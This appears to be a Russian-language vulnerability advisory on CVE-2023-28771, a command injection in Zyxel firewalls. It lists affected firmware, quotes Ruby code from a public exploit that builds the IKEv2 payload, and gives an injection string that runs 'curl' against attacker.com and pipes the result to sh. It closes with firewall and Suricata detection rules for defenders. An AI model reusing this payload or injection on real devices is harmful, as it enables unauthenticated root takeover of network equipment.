Уязвимость сетевых устройств Zyxel ZyWALL/USG, VPN, USG FLEX, ATP
Уязвимость сетевых устройств Zyxel ZyWALL/USG, VPN, USG FLEX, ATP
Категория: Программы Теги: Уязвимости Опубликовано: 13 мая 2025

Уязвимость BDU:2023-02782 (CVE-2023-28771) Zyxel ZyWALL/USG, VPN, USG FLEX, ATP

Уязвимость BDU:2023-02782 (CVE-2023-28771) в сетевых устройствах Zyxel (серии ATP, USG FLEX, VPN) связана с некорректной обработкой данных в микропрограммном обеспечении при декодировании пакетов IKEv2. Из-за отсутствия санитизации входных данных злоумышленник может внедрить произвольные команды ОС через UDP-пакет, отправленный на порт 500. Уязвимость оценивается как критическая (CVSS 9.8), так как позволяет выполнить код с правами root без аутентификации.

Анализ уязвимости

Уровень опасности: КРИТИЧЕСКИЙ (9.8)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Attack Vector) - Сетевой: Уязвимость может быть эксплуатирована через сеть (например, интернет).

  • AC:L (Attack Complexity) - Низкая: Для атаки не требуется сложных условий или специальных настроек.

  • PR:N (Privileges Required) - Не требуются: Злоумышленнику не нужны привилегии в системе.

  • UI:N (User Interaction) - Не требуется: Эксплуатация уязвимости не требует участия пользователя.

  • S:U (Scope) - Неизменён: Уязвимость затрагивает только ресурсы в пределах одного компонента.

  • C:H (Confidentiality Impact) - Высокий: Полная компрометация конфиденциальности данных.

  • I:H (Integrity Impact) - Высокий: Полная компрометация целостности данных.

  • A:H (Availability Impact) - Высокий: Полная компрометация доступности системы или данных.

Условия эксплуатации

  • Доступ к WAN-интерфейсу: Атака возможна удалённо через интернет, если порт 500 открыт на WAN (например, для VPN).

  • Версия прошивки: Устройство должно работать на уязвимых версиях (например, ATP 4.60–5.35, USG FLEX 4.60–5.35).

  • Конфигурация по умолчанию: Уязвимость присутствует в стандартных настройках, что увеличивает риск массовых атак.

Уязвимые версии

  • Zyxel ATP100    от 4.60 до 5.36
  • Zyxel ATP100W    от 4.60 до 5.35
  • Zyxel ATP200    от 4.60 до 5.36
  • Zyxel ATP500    от 4.60 до 5.36
  • Zyxel ATP700    от 4.60 до 5.36
  • Zyxel ATP800    от 4.60 до 5.36    
  • Zyxel USG FLEX 100    от 4.60 до 5.36
  • Zyxel USG FLEX 100W    от 4.60 до 5.36
  • Zyxel USG FLEX 200    от 4.60 до 5.36
  • Zyxel USG FLEX 50(W)    от 4.60 до 5.36
  • Zyxel USG FLEX 500    от 4.60 до 5.36
  • Zyxel USG FLEX 700    от 4.60 до 5.36
  • Zyxel VPN100    от 4.60 до 5.36    
  • Zyxel VPN1000    от 4.60 до 5.36
  • Zyxel VPN300    от 4.60 до 5.36
  • Zyxel VPN50    от 4.60 до 5.36    
  • Zyxel USG 310    от 4.60 до 4.73
  • Zyxel USG 110    от 4.60 до 4.73
  • Zyxel USG FLEX 50    от 4.60 до 5.36

Технический анализ эксплоита

Эксплоит из общего доступа использует уязвимость BDU:2023-02782 (CVE-2023-28771) в обработке Notification Payload пакетов IKEv2. Код формирует специальный UDP-пакет, содержащий инъекцию команды в поле Notification Data.

Ключевые элементы кода

  1. Формирование вредоносного пакета IKEv2:

    ikev2_payload = [0].pack('C')  
    ikev2_payload << [0].pack('C')  
    ikev2_payload << [8 + (haxb48.length + cmd_injection.length)].pack('n')  
    ikev2_payload << [1].pack('C')  
    ikev2_payload << [0].pack('C')  
    ikev2_payload << [14].pack('n')  
    ikev2_payload << haxb48 + cmd_injection  

    Здесь haxb48 — это статическая строка, которая после декодирования через DES-CBC превращается в безвредный текст, а cmd_injection содержит команду для выполнения (например, ";bash -c \"#{cmd}\";echo -n \"").

  2. Инъекция команды:
    Устройство логирует полученные данные без проверки, что позволяет интерпретировать символы "; ..." как команды Bash. Пример:

    ";bash -c \"curl http://attacker.com/shell | sh\";echo -n \""  
  3. Отправка пакета:
    Пакет отправляется на порт 500 через UDP. Так как IKE-трафик часто разрешён на периметровых устройствах, это делает атаку реализуемой извне.

Почему это работает?

  • Устройство декодирует поле Notification Data и записывает его в лог-файл.

  • Из-за отсутствия экранирования специальных символов (например, ;") команды выполняются через оболочку.

  • Процесс /sbin/sshipsecpm (ответственный за обработку IKE) работает с правами root, что обеспечивает полный контроль над устройством.


Примеры уязвимых сценариев

  1. Удалённая атака через интернет:
    Если администратор оставил порт 500 открытым для подключения VPN, злоумышленник может атаковать устройство без доступа к внутренней сети.

  2. Локальная эксплуатация:
    Внутри корпоративной сети атака возможна даже при закрытом WAN-порте, если злоумышленник имеет доступ к LAN.


Способы защиты

  1. Обновление прошивки:
    Установите версии, устраняющие уязвимость.

  2. Блокировка порта 500 на WAN:
    Если VPN не используется, ограничьте доступ к порту 500 через фаерволл:

    iptables -A INPUT -p udp --dport 500 -j DROP  
  3. Мониторинг сетевой активности:
    Используйте IDS/IPS для обнаружения подозрительных IKE-пакетов. Пример правила Suricata:

    alert udp any any -> any 500 (msg:"CVE-2023-28771 Exploit Attempt"; content:"|3A 29 20 08|"; offset: 16; depth: 4;)  
  4. Аудит логов:
    Проверяйте логи на наличие аномальных записей, связанных с процессом sshipsecpm:

    grep "sshipsecpm" /var/log/messages  
Алексей Черемных Алексей Черемных
53